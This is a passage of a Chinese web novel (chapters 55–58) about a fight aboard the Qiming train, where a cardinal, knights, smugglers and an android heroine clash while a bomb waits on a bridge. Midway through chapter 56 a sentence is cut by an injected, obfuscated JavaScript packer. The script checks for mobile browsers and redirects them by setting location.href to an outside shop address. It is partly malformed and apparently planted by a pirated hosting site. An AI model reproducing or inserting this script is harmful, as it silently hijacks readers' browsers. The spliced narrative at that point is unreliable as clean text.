不,是折刃骑士团成立这些年来,第一次经历这样的事。 骑士团引以为傲的铁臂,竟然如此容易就变成了他人的武器。 这就是圣女的能力吗? 齐明羽听到自己背后有什么东西轻轻落地。他喘息着,身体僵硬。 “你们这些坏东西!” 一股强大的力量推着他的脑袋,撞向车厢的墙壁。 周向青这一脚差点把齐明羽的脑袋嵌进车体。齐明羽哼都没哼一声便晕了过去。周向青抓着他的头盔,把他从墙上扯下来扔在地上,又在他胸前补了一脚,把他肺里的一口气踩了出来。 姜原看着她出气发泄,一面从袖筒里拆下电枪,扔到一边。 “那个家伙呢?”周向青恨声问道。 “枢机主讲?他大概还在后面的车厢吧。没必要管他,我们争取在新竹把车停下,然后尽早撤退。不然——” “不狠狠揍他一顿,我是出不了这口气!居然骗我上车,一路上不断说些怪话糊弄我,还弄这种陷阱,把我关在里面!” “好啦好啦。他这手段已经算是很温和了。”姜原俯身去拉赛德的脚,把他从桌子下面拖了出来。赛德手脚都被捆着,头上还有一大块伤口,血已经干了。姜原把手指伸到他鼻子下面比了比。 “行,还有一口气。”他解开了赛德手脚的绳子,把他扶到沙发上坐着。 “他什么时候过来的?怎么成了这个样子?话说回来,你们怎么到车上来了?”周向青才意识到目前的情况。 “一言难尽。”姜原说。 周向青皱眉问:“该不会让娜也来了吧?” “她在后面的车厢。你的八哥也跟她在一起。”姜原一面说,一面拍了拍赛德的脸。“喂,醒醒,傻子。” 赛德模模糊糊听到有人在他耳边大呼小叫,而且还有噼噼啪啪的响声。他感觉像是宿醉一样,脑袋昏昏沉沉地痛,而且黏黏糊糊的。他摸了摸,是血。而且他的身子也疼,骨头也疼,脸也疼。他短促地喘着气,一时说不 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“但你停了车,他们不是也能追上来吗?而且,你能一直逃下去?咱们之前还准备去公司确认账户和密钥的事情,怎么办?”周向青反问。 “他们在另一边应该也有不少麻烦。但接下来的情况,我的确没有什么好想法。”姜原答道。 周向青点了点头。她总是猜不到姜原这些决定是有什么计划,还是什么都没想的临时决定。在环运城的时候,他是这样;在她对战那个圣女草铁兵的时候,他也是这样。他总是似乎知道点什么,但又似乎什么都不确定。 另一方面,她还封在玻璃罐里的时候,她隐约听到外面有人说话。她猜那应该就是姜原和枢机主讲。因为除了他们也不太会是别人。 而且在卡比利亚那天晚上,姜原是鬼鬼祟祟地去找了什么人。 “你跟枢机主讲是不是认识?”周向青问。 “不认识。”姜原回答。 “但你们好像说了什么话。” “没有。” 一时间气氛有些僵硬。 赛德在沙发上喘了半天,好不容易恢复了一点精神。他插话道:“对了,枢机主讲把我绑在这里之后,我听到他跟躺着那里的骑士队长说,要尽快把那两个玉家人带进来,然后执行什么计划。虽然不知道他们具体要干什么,但似乎就是在这辆车上。” 姜原闻言,便把一边的齐明羽拉了起来。齐明羽与其说是晕了过去,倒不如说是太过悔恨和沮丧,以至于失去了挣扎的欲望。“你们那个计划到底是怎么回事?”姜原问。 齐明羽没有回答。 “快说。”姜原从地上捡起那把折刃,在他脖子上轻轻划了一下。 “对不起,主讲大人。”齐明羽嘟囔了一句,便用力闭上眼睛。 姜原松开手,齐明羽便直接软绵绵地躺在地上。姜原说:“没那个时间拷问他。枢机主讲刚才说是要去后面看看情况,不知道什么时候就会回来。我还是先去车头,让他们在新竹停车。应该马上就要到了。” “你让赛德机师去就行了。如果那个傲慢老头回来,我们还得守住这里。”周向青说。 姜原点点头。“这倒也是。”他把折刃扔给赛德,说:“以备不测。” 赛德点了点头。 齐明羽突然笑了。“他们不会开门的。他们死也不会开的。” “不管你怎么说,我们总得试一试。”赛德说。 但在此时,枢机主讲单手托着黑猫,打开了车厢连接门。 随后他看到了周向青和姜原,还有躺在地上的齐明羽,以及后面的赛德。 枢机主讲松开手,让黑猫的身体砰的一声掉在地上。“没想到,你们还挺有两下子,嗯?” “多谢了你这位手下,”姜原嘲讽道,“不然我还真不知道怎么打开这个玻璃柜。” “那看来还是我指挥的失误了。”枢机主讲说。 “不!是我——”齐明羽从地上爬起半个身子,但被周向青一脚踢在胸口,后脑勺撞上车厢,又晕了过去。 枢机主讲叹了口气。“真是丢人。” “你的谋划失败了,主讲大人。”周向青说。 “你真的这么认为吗?”枢机主讲反问。 “三对一,优势在我,总没错吧。”姜原一边说,一边给赛德使了个眼色。赛德会意,拎着折刃向车头走去。 枢机主讲哈哈笑了。“好吧,好吧。的确是你占了人数优势。那想必也不妨现在听听我的条件,如何?” “你也有个让我‘无法拒绝的条件’吗?”姜原笑道。 枢机主讲摇了摇头:“抱歉,没有。我也只能尽我最后一点努力,说服二位接受我的方案了。” 56.启明号列车14 “他就那么——托着我们的目标过去了。”白少俊喃喃道,眼睛望着枢机主讲消失的方向。情况的变化有点超出他的想象。 “小姑娘还在后头,”关铁震说,“他要的东西跟我们不一样。还有机会。” “如果交不上全部的货,只交一半大概也行吧?”马延仙附和了一句。 三人的精神都微微一振。眼下还不算是山穷水尽的时候。 但在此时,车厢的连接门咔哒一响,被人打开了。一个穿着皱巴巴的商务套装的男人出现在门口。他的头发油腻而杂乱,鼻子上还架着一副缠着胶布的眼镜。他似乎没有注意到车厢里的另外三个人,只是一脸凝重地自言自语。“没想到结束的这么快,可能我对他们的期待有点太高了?但那也可能并不是完成品……那圣女的情况或许会更有点意思……” 白少俊一皱眉,正要上去把他赶开,但关铁震在旁边拉了拉白少俊的衣角。 白少俊一愣,随即领悟。 之前轻而易举处理掉骑士的人,穿的正是这身衣服。没想到那白面具下,居然是这么一张有点滑稽的脸。他一时有点无法相信。 而那眼镜男也终于看到了他们。他一瞬间就换了一张脸,凝重一扫而空,露出温和的微笑。“你们几个居然还活着。主讲大人真的是脾气好。” 白少俊没有说话。而关铁震搓了搓手,满脸堆笑道:“这位先生,不知你有什么吩咐?” “有什么吩咐?”那人看了看关铁震的表情,又看了看车厢里的几个箱子,说:“嗯,有人干点力气活总归是不错。那你们两个就在这里等着。老人家就爱上哪上哪去吧。”他说完,径自向车头走去。 “是!”关铁震大声答应,对着眼镜男背后鞠了一躬,看他的身影消失在车门后,才压低声音对马延仙道:“老爷子,你去招呼一下小楼。顺便……再看一眼咱们的小目标。” 马延仙点点头,到后面去了。 “喂,你说,他跟那个穿红袍子的家伙,会不会干起来啊。”白少俊小声道。 “哼,我看很有可能。他们自己打起来再好不过了,到时候,我们就可以火中取栗。”关铁震兴奋地搓了搓手。 “是鹬蚌相争,渔翁得利。”白少俊道。“只不知道谁才是渔翁呢。” ### 让娜蜷缩在座位下。 刚才爆发的那一阵猛烈的枪声以及打斗声,好不容易才安静下来。而接下来的漫长安静更让她恐惧。她不敢抬头,更不敢从座位下爬出。胖球大概也被那声音吓到,钻到了对面的行李架的深处,只露出一双亮亮的眼睛窥视着外面。 不知道这场灾难什么时候才是个头。 她望向之前那些声音的方向,但除了歪七扭八躺着的人体,实在看不到什么东西。整个车厢里似乎没有一个人是站着的。她想看看玉明珑到底怎么样了,但她才刚刚一动脑袋,她的正上方却响起了一个男人的声音。 “唉,没想到这么无趣。” 让娜险些惊叫出声。她紧紧捂住了自己的嘴巴。 空气像被火炉烤着一样,微微抖动。同时有一些微不足道的滋滋电流声。让娜看不到自己的前面到底有什么东西,但她知道,有什么东西就在她面前。对面货架上的胖球大概也感觉到了什么,又往行李架里缩了缩。紧接着,车厢的连接门打开了。脚步声响,似乎有一个无形的人穿过车厢,向前走去。 让娜慢慢伸出脑袋。她看到在2号车厢里,玉明珑那长长的龙尾从座椅上耷拉下来,拖在地上。 然后龙尾突然跃动了一下。 不,是那个无形的人正在检查那条龙尾。那条龙尾已经从玉明珑身上拆了下来,横放在她身边的座位上。而玉明珑似乎是睡着了。一个女人躺在玉明珑身边的地上,而另一个鸟脸面具的人倒在血泊里。 对面的车厢门一开一合。那个无形的人似乎离开了。 让娜跑到玉明珑的身边,摇了摇她的身子。玉明珑轻轻哼了一声,没有动。让娜摸了摸玉明珑的额头,有些烫手,于是撕下自己的一块围裙,跑到洗手台边接了水沾湿,敷在玉明珑的额头上。然后她又把玉明珑从窗边移开,半抱半拖地弄到另一边的座位上。 胖球大概感觉到外面安全了一些,从行李架上飞了下来。它看着空荡荡的窗户,一副想要从那里逃出去的样子。 “胖球,不行!”让娜低声喊道。 此时,前面的车厢连接门又响了。 让娜急忙扑过去,把胖球抱在怀里,但已经来不及躲避。 她的视线跟来人正好撞上。 但那人只是一个她没有见过的瘦高老人,脸上戴着一条青布面罩。老人打量了一下抱着八哥的让娜,随后看到了她旁边躺着的鸟脸面具人和那个女子。老人惊呼一声,三步并作两步赶上前来。 “唉,作孽哟——小王?哎呀,往生极乐。小郑?小郑?”老人扶起女子,嘴里念叨着:“还好,还有口气。嘿——嘿!先——” 老人想把女子从窗前挪开,他一转身,便看到了让娜身后的玉明珑,以及那条龙尾。老人犹豫片刻,又自言自语道:“先去弄点水,弄点水。” 他把女子架到座位上,然后双手捧了些水,一点点洒在女子脸上。 女子呻吟了几声,回过神来。 “马老……我们被……偷袭了。小王——” “别说话,深呼吸,要不然心率不稳。唉,没想到搞成这个样子。” “那黑猫——” “黑猫被一个穿长袍的家伙带走啦。”老人说。 “长袍……什么意思?” “你就先别说话啦。先缓一缓。当初就不该让你跟小王一起。他太急着寻仇了,我一直觉得——”老人虽然不让那女子说话,但自己反倒叨咕起来。 “他们两个呢?他们在哪?”那女子挤出这么两句话,猛烈咳嗽起来。 “我们都没事。不说了,不说了。你好好休息。”老人轻轻拍了拍女子的脊背,让她慢慢靠着椅子躺下,同时目光又转向让娜和玉明珑。“这种小孩子也牵扯进来,也真是的。” 让娜并没有回答,只是紧张地盯着老人。 老人向她温和地笑了笑。 ### 白少俊蹲在地上,捡起被拆散的枪械零件,试图把它们重新组装起来。 “喂!”关铁震大喝一声。“想什么呢?” 白少俊一个哆嗦,随后意识到是关铁震,怒道:“你这秃头,不想着怎么把买卖做完,还在这开什么玩笑!” 关铁震说:“哼,我怎么没想?你看,小姑娘还在后面的车厢里,我们只需要等到火车开到靠近汋河大桥的时候,拉下那边的紧急停车把手,顶住车门,等车停稳就直接跳下去,上船回去交差。这买卖怎么样?” 白少俊听了,点了头道:“的确不错,只不过——” “只不过得稍微改动一下。”一个人声从前面传来。 关铁震和白少俊一起打了个哆嗦。“谁?是谁?” “是我。”眼镜男的身形从前方的阴影中显露出来。他的手上还拉着老大一具黑漆漆又白花花的□□。 是黑猫。 “你们两个听好。我没工夫废话。抬上这个人,回到2号车厢,紧急停车。停车以后,从哪来的给我滚回哪里去。但,不准动这个人,也不准动那个小孩,更不准动她的尾巴。否则——”眼镜男看了一眼地上的骑士尸体,意思非常明显。 “是!是!”关铁震深深鞠躬。“但您——” 关铁震的头才刚抬起来,眼镜男又消失了。“真是邪门。”关铁震说。“这下怎么办?计划都被他听到了。” “怎么办——先把他搬回去,跟马老爷子汇合。别的回去再说。”白少俊拉起黑猫的一只手。“天啊,这家伙怎么这么沉!” “别叫了,快点搬吧!”关铁震架起黑猫的另一只手。 他们一边一个,把黑猫抬进2号车厢。他们刚进2号车厢,只听得背后咚的一声,车厢之间的地面竟然裂开了一道缝。两个车厢之间的车钩松开了,他们的车厢失去了动力,开始逐渐减速。 关铁震抬头向对面的车厢看去,但那边仍然空无一人。他能猜到肯定是那个古怪的男人干的,但—— “真是打灯笼走铁路,见了鬼了!”他焦躁且有点恐惧地叫道。 “你居然把谚语用对了一次。”郑小楼在车厢另一侧虚弱地回应。 关铁震回过头去,先是看到许多被毒气放倒的乘客,随后是郑小楼和马延仙,然后看到了让娜和玉明珑。还有那条长长的龙尾。 “哦!果然在这里!”关铁震兴奋地喊道。 没有人附和他,就连关铁震自己也很快低落下来。因为王西凤还躺在几近干涸的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170834|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泊中。 ### 赛德把那柄折刃藏在长袍下面,走向车头。他不觉得自己会用到这玩意。虽然他在无望加入骑士团后就再也没有过格斗训练,但对付两个司机应该不成问题吧? 他摸到驾驶室的门边,敲了敲门。 里面没有任何声音。 他又推了推门。车门紧锁着。 “您好!我是统修会的赛德机师,不是什么坏人。现在情况紧急,必须马上停车!” 赛德对着门缝喊道。既然从里面锁上了,那么司机肯定在里面。他们可能是被之前的情况吓到了。 “如果你们信不过我,我可以把我的证件从门缝里递过去。你们可以查看一下。我说的是真的,现在车上有一些歹徒,我们必须马上在新竹停车!”赛德说完,掏出自己的身份证件,从门缝下面塞进一半。对方沉默了一段时间后,他的证件被抽了进去。然后又是更长时间的沉默。赛德把耳朵贴在车门上,想听听里面有没有人说话。但他只能听到车头自己的嗡嗡响声。 又过了不知多少时间,对方终于开口了。“但你也有可能是歹徒,这证件是抢的。” “的确有这种可能性,”赛德说,“所以我不要求你们开门,你们只要把火车在新竹停下就可以了。把车停下,我们就可以让乘客们离开。” “但新竹已经过了。刚刚过了。”里面的人答道“即便这样你还要停车吗?你们不能坚持一个小时?再一个小时就到石岗了。” 赛德不知道。他不知道对方的计划到底是什么。他只知道对方的计划一定是在到达石岗城之前完成的。他说:“恐怕不行!你们最好现在就停车!” 对方又沉默了。 赛德等了一会,继续对着门缝说道:“现在不是等待的时候。你们是在安全的驾驶室里,但其它乘客正处于危险之中!你们也替他们想一想吧,乘客中有父母、也有孩子,有多少个家庭!我们总不能为了自己,让他们都牺牲吧?” 对方沉默片刻,答道:“那你说,那些歹徒究竟要干什么?要绑架车上的大人物吗?虽然你说牺牲什么的,但你为什么一定要我们现在停在荒郊野外呢?下一站就是石岗了。歹徒也并没有提出什么要求啊。” “是,难道歹徒不会趁着停车逃跑吗?我们不能停车。” “但他们在车上装了炸弹!如果我们再不停车的话,他们就会引爆炸弹!你难道不担心车上乘客的安全吗?”赛德重复了自己对枢机主讲说出的谎言。除此之外,还有什么能让他们尽快把列车停下来呢? “什么?你说的是真的吗?”对方显然也紧张了起来。 “是真的。是歹徒们亲口说的。” “那可真是不得了!那我们马上停车。”对方答道。 “谢谢,你们真的救了命了。”他由衷地说。 “哪里,你快回去吧,车一会就会停了。” “只不过不是紧急刹车,所以停车要一段时间,不过也应该够了。”驾驶室内的另一个人说道。 “好的,好的。那也就可以了。”赛德松了一口气。 “嗯,你快回去吧。”驾驶室内答道。 ### “你相信那家伙吗?”副驾驶说。 “我……我不知道。他可能是想骗我们开门的歹徒。你看,我们答应以后,他连证件都不要,直接走了。”正驾驶把赛德的证件丢在仪表盘上。 “那也有可能是他太着急了。他的语气很急。” “但齐队长刚才不是说,我们只要一直开到石岗城就行了吗。还是说,你觉得应该我们应该刹车?” “我也不知道。你是正驾驶,你说了算。” “要么我们就先刹车试试?反正他们也进不来……但如果真的有什么事,为什么不是齐队长来通知我们呢?”正驾驶犹豫着,把手按上了操纵杆。但他突然看到仪表盘上的指示灯正在闪烁。“这是怎么回事?谁在行驶中把车钩断开了?” “哪里?” “2号车厢。不行,现在已经不能刹车了。不然后面的车厢撞过来,火车肯定会翻车的。除非后面车厢的人也刹车。” “但我们怎么知道……他们有没有刹车?” “我怎么知道?而且……你真的相信他吗?车上真的有炸弹吗?”正驾驶的手按在操纵杆上,始终无法拉下。冷汗从他的头上流了下来。 57.启明号列车15 “说服我们?你真的觉得我会相信你?”姜原笑道。 “有这个可能性。因为目前来说,我还是有一些有利条件的。”枢机主讲指了指窗外。列车已经离开无人的山野,如今外面是连绵的房屋和楼宇。“你看,现在已经到新竹了。再过个十几分钟,列车就会开到汋河大桥上方。到那时候,事情就结束了。” “事情怎么结束?” “一个史诗式的结局。差不多吧。” 姜原沉默了。而周向青诧异地瞪大了双眼。“你是什么意思?” “反对派在得知卡比利亚大捷的消息后,为阻挠卡比利亚大主讲朱启儒赢得圣座选举,便在负责考核的枢机主讲程光颢携圣女返京的路上,袭击了他所搭乘的列车。只是由于圣女奋勇相救,枢机主讲幸免于难,圣女则不幸身亡。”枢机主讲像是新闻播报员一样念道。“这大概就是接下来发生的剧情。” “呸,我才不会救你呢。”周向青说。 “不,你救了。你是这么救的:在你像卡比利亚之战中那样,挫败了敌人的无数次进攻之后,敌人终于决定动用事先准备好的炸弹,准备跟我们还有列车一起同归于尽。而在最后一刻,你切断了车厢之间的连接,用身体挡住了爆炸的冲击波,将我救了出来。你解救了所有人。你是我们的大英雄。”枢机主讲微笑着说道。 “这里有炸弹?”周向青向四周打量。她看不出来。 “哦,不在这里。前面就是汋河大桥。炸弹就在桥上。威力很大,大概足够把大桥一起炸断。” “那你还留在这里?等着被炸弹送上天?你总不会真的能控制她救你吧。”姜原问。 枢机主讲笑了笑。“这只是大家知道的结果。” “但我不会救你。”周向青说。 “救助主人,是仿生人的义务。当然,我也不会认为你把我当做主人。我只是安排一个场景,帮助圣女殿下成为另一位圣徒,让你的故事将和初代圣女一样永久流传。人们会给你塑像,会为你的逝去而愤怒,会要求我们将凶手绳之以法。这样一来,他们的注意力就不会集中在那些有害的地方,比如赢得这场旷日持久的战争,以及实现远在天边的‘三元一体’;然后我们才有余裕在内部达成一致,重新审视我们拥有的技术,并把有限的资源用在能够让我们进步,而不是对内或对外消耗的地方。” “你这简直是想要颠覆统修会所有的东西。”姜原摇头道。 “或许吧。但这个世界需要的是一个崭新的、行之有效的秩序,而不是在往日的阴影中原地打转,或是沉迷于再现什么奇迹。”枢机主讲答道。 “所以你就是在下一盘大棋咯。”姜原讽刺道。 枢机主讲不以为忤。“是的。你之前跟我说的话,不也是一个意思?虽然因为一些情况而没有说完。我相信,你也是同样的人。你害死我弟弟,是出于同样的理由。为大局着想,牺牲个别人的生命,是很合理的选择。难道你不这么认为吗?” 听到这句话,周向青斜眼去看姜原脸上的表情。 枢机主讲的意思再明显不过。他想跟姜原达成一种价值观上的同盟,即便姜原和他有私人恩怨,也可以不论。 她一直没有问那天她看到的情景是什么缘故,也没有问姜原自己有什么样的目标。她并不真的了解他。她跟姜原之间,除了“那个人”之外,并没有什么特殊的联系。 而她已经把那份文档卖给了姜原,也已把自己从胖球脚环上拿到的信息说了出去。 天啊,她是不是太没防备了? 但姜原脸上并没有什么表情。她完全看不出他在想什么。 “比起大局来说,一个人的生命的确算不了什么。”姜原答道。 “你也这样认为就好。”枢机主讲说。 “某种程度上说,这也是程光颐的死因。虽然不是我亲手杀了他,也和我亲手杀了他差不多。”姜原直视着枢机主讲程光颢的双眼。“即便这样,你也认为,我为了我的大局,可以牺牲他的生命?” 程光颢的目光闪烁了一下。“我弟弟会死于他追寻的东西,这一点我早已有觉悟了。” 姜原点了点头。“我起初还在想,你是被你弟弟的亡灵附身了。你是为了你弟弟的死,才执意于要否定圣女。但现在我觉得,我错了。你没有被程光颐的亡灵附身。你只是试图在我们身上寻找你弟弟的亡灵。但你是找不到的。” 枢机主讲的眼中凶光一闪即逝。“我不懂你是什么意思。” “我的意思是说:如果你既然觉得,为了大局可以牺牲个别人,那你为什么要站在这里跟我们这些要被牺牲的人谈这件事呢?你其实并不在意我们的死活。但你有在意的事情。你在意我们是否认同你的做法。同样,你从不在意你弟弟到底是怎么想的,但你只在意你弟弟是否认同你的想法。”姜原说到这里,咧开嘴笑了笑。“大概程光颐生前,从来都没认同过你的做法。” 程光颢的眼中凶光大盛。 齐明羽不知何时已从地上爬了起来,他突然攀住周向青的腿,大喊道:“大人!快走吧!大人!” 程光颢略一犹豫,扭头便走。 而周向青被齐明羽攀住腿时,大吃一惊。她紧张之下就用了全力,而齐明羽又只有一只手。她一脚踢出,齐明羽被踢得飞了出去,在空中打了几个转,飞向程光颢。 与此同时,姜原抢上前去,一双机械爪抓向枢机主讲长袍下的腿。他知道程光颢一旦离开这节车厢,下一步就会跟刚才说的一样,切断两节车厢之间的连接。 枢机主讲迅速转身,左手去接齐明羽,右手振袖而出,袖中的掌心对准姜原的脸。 姜原只感到像是自己在空中打了个转一样,仿佛大地并不在自己脚下,而在他的背后。他的身体像是翻了几倍的重量,吹得他像风筝一样向后飞去。 但他的机械爪仍然卷上了程光颢的双腿。程光颢自己也耐不住这股拉力,他把齐明羽丢向周向青脚下,绊了她一个趔趄;同时他左手一伸,对着姜原一抓。 姜原只觉得重力的方向换了180度,他的身子重新向枢机主讲的左手飞去。他还来不及挣扎,他的脖子已经送进了程光颢的左手中。程光颢抓着他的脖颈,向地面一砸。 姜原背后的机械爪控制盘反倒成了伤害他的东西。他感觉自己的脊柱差点被这一下砸断,痛得他惨叫出来。机械爪也松开了。程光颢挣开机械爪,向后跳去。 此时周向青已经调整了平衡,双腿一屈一弹,向子弹一样撞向程光颢。 程光颢左手一拂,一道力场挡在周向青面前,让她速度骤减,只落在距离姜原不远的地方。 她顺手拔出插在腿侧的手铳,抬手瞄准,但枢机主讲矮身上前,贴着周向青射出的子弹欺到身边,在她的手背上一拧一拍。 手铳脱手落下。 周向青俯身去捡,枢机主讲双手一翻一按,把她推向一边,脚尖却把手铳踢到了角落。 “放弃吧。这样没什么意义。”枢机主讲说。 周向青没有回答。她感觉,不解决枢机主讲手中的力场发生器,在这么狭窄的地方大概连靠近他都做不到。 力场。 她突然想起自己也有类似的东西。说起来,这还是统修会给她的呢。如今用来对付统修会的枢机主讲,未免有点讽刺。她反手摘下那块三角形的盾牌,挡在身前,右手则拔出折刃。 枢机主讲冷笑道:“你不是自认不是圣女吗?怎么还在用我们的武器?” “我拿这剑和盾是为了保卫卡比利亚。不论伤害它的人是公司的佣兵,还是教会的叛逆。”周向青感觉自己这句话说的不错。心里甚至有点小小的开心。 枢机主讲的脸色沉了下去。“哼,那就来啊。” “好!” 周向青开启盾牌上的力场,向前冲去。在狭窄的车厢过道里,没有必要,也没有第二个选择。 枢机主讲抬起左手。两股力量撞在一起。盾牌的场域更小更浅。但周向青的体能更大更强。她就像是在暴风雪中撑着一把伞,弓着腿,猫着腰,但仍然一步步向前。 程光颢一时不知该如何应对。他想要变招,但周向青已经来到他的面前;他又想要后退,然而姜原已经趁着刚才的机会,从地上爬起身来,双手从他腋下穿出,准备绞住他的脖子。 程光颢大喝一声。他袖子一甩,扭住姜原的手臂,反把姜原过肩甩了出去。周向青前面的阻力突然间消失,身子不由得向前一撞。正好姜原从天砸到,周向青只得化冲为滚,盾牌撑地,像滚石一样冲向枢机主讲的双腿。程光颢被这一扫扫到腿骨,立足不稳,也倒了下去。周向青向前一滚,却正好撞到黑猫的身体。她一愣,但也没有多想,只是一脚把他踢向连接门边,省得他碍事。 程光颢爬起身,而姜原此时已用两支机械爪缠住了他。 “向青,砍他!” 枢机主讲冷笑了一下。 周向青一剑刺去。程光颢伸手一挡。折刃的剑锋刺向他的手心,但越靠近手心,阻力越强,到最后竟不能推进一点。枢机主讲右手一伸,却将周向青左臂上的盾牌吸了过去。他抓 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在周向青右手第一刀砍到时,程光颢直接出手向那道蓝光上抓去。蓝色的光流接触到红色的手套,红蓝的光粒就像水流一样四散迸射,在程光颢的长袍上烧出一个个小小的窟窿。程光颢一托她的手肘,刀刃滑向空中,在车厢顶上斩出一个深深的刀口。 周向青借势回身,左手第二刀斩下。程光颢右肩顶上她的脊背,右手拦住刀刃,左手从自己右臂下穿出,掌心按在周向青的腰部。 沉重的力道拉着她旋转着向后飞去。 她就像是一个装了利刃的陀螺。周向青急忙收起刀刃,免得切到躺在下面的黑猫。但她的刀刃已经劈开了车厢的连接处。 冷风从那里呼呼地灌进来,提醒着她列车还在飞速向前。车外面已经不再是城市了。 她不知道自己还有多少时间。 姜原在看到枢机主讲抓住刀刃的时候,便感到事情不会那么容易结束了。而周向青落在连接处正是给了他一个想法。他大喊道:“你砍开车钩!” “什么?”周向青耳边的风声呼呼作响,她听不清姜原的声音。 姜原用手比了个往下切的姿势。 程光颢却听到了姜原的叫喊。他动了起来。 周向青并没有去砍开车厢间的车钩。她一刀砍向程光颐的面门。 程光颢双手齐出。伴着蓝色的火花,周向青直向后退。特等车厢的连接门不知道被谁打开了,她直接滑进车厢里,后背撞上两个装着文档和实验器材的木箱,把它们撞得粉碎。 程光颢跳过去,用他右手中的力场抓起周向青,把她向自己的车厢扔去。但周向青灵敏地在空中反手一抓,但只是抓到了枢机主讲的袍袖,将它撕了下来,露出了他的整条手臂和肩膀。他并不同于那些骑士将整条手臂全部用活化机械替换,也不同于黑猫的强化外接肌肉做法,而是更加复古的,把他的力场设备全部埋在手臂之中,替换了他的骨骼。指示灯从他的手臂上露出来,一闪一闪;而肩头甚至还有两个排气的散热孔。 “你这……已经算是‘三元一体’了吧?”周向青站在火车的连接处,皱眉望着枢机主讲露出的那条手臂。 程光颢稍微活动了一下肩膀,露出雪白的牙齿。“不,不是。这只是对人体丑陋的改造而已,甚至只是上个时代的技术。我仍然是我,我永远不会是你。我的秩序,也不会是你的秩序。”他说到这里,拉下了自己身边的一个手柄。 周向青和程光颢脚下同时一震。 一盏红灯亮了。随之而来的是尖锐的警报声。 他对战斗的胜负并不重要。这是姜原的一个判断。 但胜负,却不一定取决于战斗。这是姜原的另一个判断。 他在程光颢冲上去的时候,用机械爪扳开了列车车顶被周向青砍出的那个缺口。从那里钻了出去。他刚一探头,强大的风压吹得他差点折断了腰杆。姜原含着一口气,整个人都趴在车厢顶上,只靠机械爪抓着车顶撕裂的部位。 如果他能够在枢机主讲没有发现的情况下切开前一节的车厢连接,那也是一个方案。 他抬起头,想看看他下一步可以滑到哪里,但—— 后面的车厢似乎已经断开了连接。 姜原简直不敢相信。如果他不是在车顶,那他简直就要惊呼出声了。他松开机械爪,让整个身子贴着车顶向后滑去。果然,不知是谁已经切断了2号车厢和特等车厢的连接,而且后面的车厢正在不断减速。这个距离越拉越远。 他的方案失败了。现在唯一的做法就是把枢机主讲赶到他自己的车厢,然后再切断特等车厢出的车钩。姜原紧抓着2号车厢的边缘,转过身子。这时他看到,汋河大桥就在前方。 留给他们的时间不多了。 58.启明号列车16 “王西凤死了?”关铁震问。 “死了。”郑小楼答道。 “妈的。”关铁震骂了一句。 “算了。我先把车停下。”白少俊砸开紧急停车的安全玻璃,拉下手柄。 刹车片再度夹紧车轮。伴随着难听的吱吱声,地板上王西凤的身体也跟着向前滑去。关铁震急忙用脚给挡住,但忍不住又骂了一句。列车开始减速了,但估计还要一段时间才能停下。 “妈的。但这个小家伙又是谁?”关铁震盯着让娜问。 “不知道,看着就是本地人,但似乎跟咱们的目标认识。”郑小楼说。 “哼。无所谓。你去把我们那个袋子拿来。”关铁震对白少俊说。 “这我怎么拿?你疯了。”白少俊抱怨。他正靠在车厢的墙壁上,抵消刹车的加速度。 关铁震啐了一口,自己伸手去抓那条龙尾。 尽管列车还在减速,但让娜还是扑过来,挡在了关铁震的身前。只不过她这一下,弄得自己差点摔倒,还是马延仙伸手拉了她一把。 “小姑娘,你干什么?”关铁震叫道。 让娜不敢跟眼前的光头大汉回嘴,只是默默挡在玉明珑前面。 “臭小娘,你别挡事。”关铁震说。 “关老大,”白少俊道,“那家伙不是说,如果我们动了这玩意,他就——” 白少俊在喉咙上比了一个割开的动作。 “难道你不想干这笔买卖了?”关铁震反问。 “当然不是。”白少俊答道。“只是我在想,如果后来被那家伙知道,说不定有点麻烦。” “反正他不在这里。”关铁震道。 “对,但这两个人发现东西不见了,肯定会声张的吧。而那家伙又是神出鬼没,所以趁现在——”白少俊说。 关铁震看了看玉明珑,还有他们带过来的黑猫。“你说做彻底一点?但……没必要吧。你们两个怎么说?” 郑小楼道:“我不知道你们在说什么,但东西没道理不要,总得补偿我们的本钱。至于这只猫……他杀了王西凤,出手又狠,但我算是没有……我没有想法。” “小楼没事,就还有的谈。而且其中一个还是小孩。”马延仙说。 “但被那家伙知道怎么办?” “那我们也走远了。反正这里没人看到——” “我看到了。”让娜突然说。 “小妮子。”关铁震哼了一声。“你别多事。” “我看到了。”让娜又说。 “欸——你这家伙,惹人讨厌了啊。” “我看到了。” “小妹妹,你看你朋友生病了。我们给她打一针,让她好的快些,好不好?”郑小楼在一旁说道。 “对。马老爷子,你给这小妮子喂点药,我们也饶那大个子一命。这个尾巴就算是给我们的报酬。”关铁震道。 马延仙咳嗽了两声。“这个话说得可以。”他从口袋里掏出一个写着解毒剂的小药瓶和注射器来,朝让娜晃了晃,然后从药瓶里抽出一点药水,给玉明珑打了一针。 “你应该给她打针。但拿尾巴不行。要拿也是等她醒了再拿。”让娜坚持道。 “嘿!你这小妮子,好处全让你拿了啊?你不怕死是吧?”关铁震举起手,作势要打。 让娜的眼睛里写满了恐惧。但她仍然挡在关铁震和玉明珑中间。 关铁震的手终究是没有落下去。他叹了口气,道:“小姑娘,你啥也不懂。老子现在给你上一课。这世界呢,就是大鱼吃小鱼,小鱼吃虾米。我们这些小鱼不趁着现在吃一口虾米,也就再也没有下一次机会了。话说,这玩意的确跟虾米差不多。懂了吧?你以后也是这样。”关铁震左手把让娜推到一边,右手去拿那条龙尾。 但让娜手里的胖球却在此时,狠狠叨了关铁震一口。 “哎呦!小妮子咬我!不是,这啥呀?” 白少俊不耐烦了。“你们真是,直接把她脑袋拧下来不就得了!” “敢动她一根毛,我让你们死无葬身之地。”有人阴森森地说道。 黑猫不知道什么时候从地上爬了起来,虽然他仍然半蹲半站地靠在附近的座椅上,但一双暗如寒星的眼睛里充满杀气。他张开手臂,握着双拳,看上去就像是一大块乌云,压得人喘不过起来。 郑小楼瞪着黑猫,但是她只是怒目而视,不敢上前。 “这家伙怎么醒了?”关铁震抱怨道。 